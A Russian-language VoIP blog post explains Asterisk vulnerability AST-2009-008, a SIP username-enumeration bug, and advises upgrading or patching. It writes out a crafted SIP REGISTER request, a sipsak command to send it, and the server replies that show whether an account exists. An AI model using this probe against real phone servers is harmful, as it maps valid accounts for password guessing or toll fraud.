Tamkovich.com: Телеком/VoIP блог
Современные технологии: Asterisk, SIP, Kamailio, Linux, Cisco, Linksys
Asterisk: уязвимость AST-2009-008
5 ноября, 2009 by Сергей Тамкович
Asterisk, Безопасность SIPВчера опубликовали информацию об очередной, восьмой за этот год, уязвимости в Asterisk. Небольшой баг в chan_sip позволяет злоумышленнику проверить, существует ли определённое имя пользователя на сервере или нет.
Ошибка кроется в обработке регистрации SIP аккаунтов. Существующие аккаунты и несуществующие обрабатываются по разному. Сделать это можно, с помощью специально составленного запроса REGISTER. Например, вот такого:
REGISTER SIP:192.168.0.22 SIP/2.0 From: 888888 <SIP:888888@192.168.0.1>;tag=123 To: 888888 <SIP:888888@192.168.0.1> Call-ID: 321@192.168.0.22 CSeq: 111 REGISTER Max-Forwards: 70 Contact: 888888 <SIP:888888@192.168.0.22:5060>;expires=60 Content-Length: 0 Allow: ACK, BYE Supported: replaces
В данном запросе — 192.168.0.22 адрес компьютера, с которого производим проверку, 192.168.0.1 — адрес SIP сервера на котором проверяем наличие аккаунта, а 888888 — аккаунт, о наличие которого мы хотим знать. Теперь этот запрос можно записать в отдельный файл, например reg.txt и отправить с помощью замечательной утилиты sipsak:
sipsak -vv -f reg.txt -s SIP:999999@192.168.0.1
Здесь 192.168.0.1 — адрес сервера, куда будет отправлен наш запрос REGISTER, а 999999 — произвольное имя, которое будет использовано для авторизации. Главное что бы имя указанное в параметре к sipsak, не совпадало с именем указанным в теле запроса (999999 и 888888).
Из вывода sipsak, нас больше всего интересуют последние строчки:
** reply received 15.502 ms after first send and 2.089 ms after last send ** SIP/2.0 403 Authentication user name does not match account name final received
Asterisk ответил ошибкой, пояснив, что имя пользователя не совпадает с именем, использованным для аутентификации. Это означает, что пользователь, указанный в теле запроса REGISTER (в нашем случае 888888) — существует на сервере.
В случае если искомый аккаунт отсутствует на сервере, ответ будет зависеть от опции
alwaysauthreject = yes
из файла SIP.conf. По умолчанию, сервер ответит с кодом 404:
** reply received after 3.053 ms ** SIP/2.0 404 Not found final received
Если же опция включена, код ошибки заменится на 401.
На мой взгляд, ошибки подобного вида не представляют никакой опасности. Однако, если паранойя берёт верх вы можете смело обновиться до последних версий (1.2.35, 1.4.26.3). Обновлять ветку 1.6.0 до последней версии — я крайне не рекомендую. Дело в том, что текущий срез 1.6.0 абсолютно не пригоден для промышленного использования — сплошные дедлоки, сломанный T38 и т.п. Если у вас стабильный срез 1.6.0, то лучше наложить патч устраняющий проблему, избежав обновления среза.
Asterisk, Безопасность SIP
